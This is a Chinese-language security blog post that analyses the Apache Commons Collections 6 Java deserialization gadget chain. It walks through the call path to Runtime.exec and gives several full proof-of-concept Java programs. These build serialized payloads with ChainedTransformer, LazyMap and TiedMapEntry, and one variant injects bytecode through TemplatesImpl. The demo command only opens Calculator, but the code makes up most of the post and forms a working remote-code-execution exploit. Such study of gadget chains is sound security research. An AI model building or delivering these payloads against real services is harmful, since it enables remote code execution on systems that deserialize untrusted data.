Apache_Commons_Collections6分析

简介

cc6 是不受jdk 版本限制

整体的调用过程如下

1
2
3
4
5
6
7
8
9
10
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

分析

从cc1 中我们知道lazyMap 会调用get() 然后get() 中会调用transformer() 函数

image-20251008135937379

然后发现在cc 中还存在一个可疑的地方存在调用这个get()

image-20251008140042320

现在就找哪里会调用getValue()

image-20251008140154989

发现这个该类(TideEntrt) 的hashCode 会调用 个getValue()

在DNSURL 的链中可以知道hashMap 的readObject 中会调用hash() 然后hash() 中会调用hashCode()

链实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.cclearn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class cc6Learn {
public static void main(String[] args) throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

HashMap<String, String> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, ct);

TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, String> sourceHashMap = new HashMap<>();

sourceHashMap.put(tideMapEntry, "bbb");
// sourceHashMap.remove("test");
System.out.println(sourceHashMap);

// String fileName = Serialize.serialize(sourceHashMap);
Serialize.deserialize("ser919595.bin");

}
}

但是该方法,不仅是反序列化的时候会执行,在进行put 的时候就执行了,那么就没有办法判断是put() 导致的执行,还是反序列化导致的执行。

通过分析代码可以发现,这个不像url 的hashcode 有if 在这里是一定会被执行的,那怎么才能不受影响呢?

Url 的hashCode

image-20251008141907454

TideEntry 的hashCode

image-20251008143945574

这个是无论如何都要执行的,那么就在Put 的时候执行一个没有危害的lazyMap

有两个方案,一个是无害的transformer

一个是无害的lazyMap

然后在序列化的时候,修改成有害的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.cclearn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.clearn.Clean;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6Learn {
public static void main(String[] args) throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

HashMap<String, String> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, "aaa");


HashMap<Object, String> sourceHashMap = new HashMap<>();

sourceHashMap.put(tideMapEntry, "bbb");

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, ct);


String fileName = Serialize.serialize(sourceHashMap);
Serialize.deserialize(fileName);
Clean.clean();
}
}

这个版本在put 的时候不会被调用了

但是反序列化的时候也不会执行

这个是因为在lazyMap 的get 中有一个if 如果发现这个key 已经存在那么久直接get返回,没有的话才会调用transformer

image-20251008150014583

所以还得将这个key 删除掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.cclearn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.clearn.Clean;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6Learn {
public static void main(String[] args) throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

HashMap<String, String> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, "aaa");


HashMap<Object, String> sourceHashMap = new HashMap<>();

sourceHashMap.put(tideMapEntry, "bbb");
lazyMap.remove("aaa");

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, ct);


String fileName = Serialize.serialize(sourceHashMap);
Serialize.deserialize(fileName);
Clean.clean();
}
}

如果是不使用transformer 数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.clearn.Clean;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc6Learn {

/**
* 使用chainedTransformer 进行调用
* @throws Exception
*/
public static void cc6_1() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

HashMap<String, String> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, "aaa");


HashMap<Object, String> sourceHashMap = new HashMap<>();

sourceHashMap.put(tideMapEntry, "bbb");
lazyMap.remove("aaa");

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, ct);


String fileName = Serialize.serialize(sourceHashMap);
Serialize.deserialize(fileName);
Clean.clean();
}

/**
* 使用InvokerTransformer进行调用
*/
public static void cc6_2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);



HashMap<String, String> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, templates);


HashMap<Object, String> sourceHashMap = new HashMap<>();

sourceHashMap.put(tideMapEntry, "bbb");
lazyMap.remove(templates);

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, invokerTransformer);


Serialize.serialize(sourceHashMap,false);
Serialize.deserialize("ser.bin");

}

public static void main(String[] args) throws Exception {
cc6_2();
}
}


Apache_Commons_Collections6分析
https://tsy244.github.io/2025/10/06/java安全/Apache-Commons-Collections6分析/
Author
August Rosenberg
Posted on
October 6, 2025
Licensed under